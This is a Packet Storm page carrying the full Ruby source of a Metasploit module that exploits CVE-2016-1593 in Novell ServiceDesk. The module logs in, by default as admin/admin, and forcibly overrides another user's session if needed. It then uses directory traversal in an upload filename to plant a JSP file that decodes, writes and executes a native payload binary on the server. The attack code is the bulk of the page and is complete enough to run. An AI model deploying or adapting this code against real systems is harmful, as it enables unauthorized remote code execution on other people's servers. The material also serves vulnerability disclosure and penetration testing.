what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Novell ServiceDesk Authenticated File Upload

Novell ServiceDesk Authenticated File Upload
Posted Apr 18, 2016
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits an authenticated arbitrary file upload via directory traversal to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in Windows and Linux installations of Novell ServiceDesk, as well as the Virtual Appliance provided by Novell.

tags | exploit, arbitrary, file upload
systems | linux, windows
advisories | CVE-2016-1593
SHA-256 | afb4d4be28fcad92ea6a38d635b3b06845a31d2df0ef58120226aa7d288d0c15

Novell ServiceDesk Authenticated File Upload

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ServiceDesk Authenticated File Upload',
'Description' => %q{
This module exploits an authenticated arbitrary file upload via directory traversal
to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
Appliance provided by Novell.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1593' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'DefaultOptions' => { 'WfsDelay' => 15 },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Novell ServiceDesk / Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Novell ServiceDesk / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'Privileged' => false, # Privileged on Windows but not on (most) Linux targets
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 30 2016'
))

register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 80]),
OptString.new('USERNAME',
[true, 'The username to login as', 'admin']),
OptString.new('PASSWORD',
[true, 'Password for the specified username', 'admin']),
OptString.new('TRAVERSAL_PATH',
[false, 'Traversal path to tomcat/webapps/LiveTime/'])
], self.class)
end


def get_version
res = send_request_cgi({
'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})

if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
return $1.to_f
else
return 999
end
end


def check
version = get_version
if version <= 7.1 && version >= 6.5
return Exploit::CheckCode::Appears
elsif version > 7.1
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end


def pick_target
return target if target.name != 'Automatic'

print_status("#{peer} - Determining target")

os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}

traversal_paths = []
if datastore['TRAVERSAL_PATH']
traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path
end

# add Virtual Appliance path plus the traversal in a Windows or Linux self install
traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])

# test each path to determine OS (and correct path)
traversal_paths.each do |traversal_path|
jsp_name = upload_jsp(traversal_path, os_finder_payload)

res = send_request_cgi({
'uri' => normalize_uri('LiveTime', jsp_name),
'method' => 'GET',
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies
})

if res && res.code == 200
if res.body.to_s =~ /Windows/
@my_target = targets[2]
else
# Linux here
@my_target = targets[1]
end
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end
return traversal_path
end
end

return nil
end


def upload_jsp(traversal_path, jsp)
jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"

post_data = Rex::MIME::Message.new
post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
data = post_data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@upload_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

if not res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
else
return jsp_name
end
end


def create_jsp
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)

native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)

if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|

var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end

jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|

jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")

return jsp
end


def exploit
version = get_version

# 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
}
})

if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
login_url = $2
@cookies = res.get_cookies
if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
password_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
password_form = 'password'
end
if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
username_form = $1
else
# we shouldn't hit this condition at all, this is default for v7+
username_form = 'username'
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
end

# 2: authenticate and get the import_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLogin' => 'Login'
}
})

if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
# hmm either the password is wrong or someone else is using "our" account.. .
# let's try to boot him out
if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
res.body.to_s =~ /This account is in use on another system/

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(login_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
username_form => datastore['USERNAME'],
password_form => datastore['PASSWORD'],
'ButtonLoginOverride' => 'Login'
}
})
if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5
import_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
end
end

# 3: get the upload_url
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(import_url),
'headers' => {
'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
},
'cookie' => @cookies,
'vars_post' => {
'ButtonImport' => 'Import'
}
})

if res && res.code == 200 &&
(res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
@upload_url = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
end

if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
@upload_form = $1
else
# go with the default for 7.1.0, might not work with other versions...
@upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
end

# 4: target selection
@my_target = nil
# pick_target returns the traversal_path and sets @my_target
traversal_path = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
else
print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
end

# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end

# 5: generate the JSP with the payload
jsp = create_jsp
print_status("#{peer} - Uploading payload...")
jsp_name = upload_jsp(traversal_path, jsp)
if traversal_path.include? '/srv/tomcat6/webapps/'
register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
else
register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
end

# 6: pwn it!
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})

handler
end
end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    13 Files
  • 27
    Jun 27th
    42 Files
  • 28
    Jun 28th
    9 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close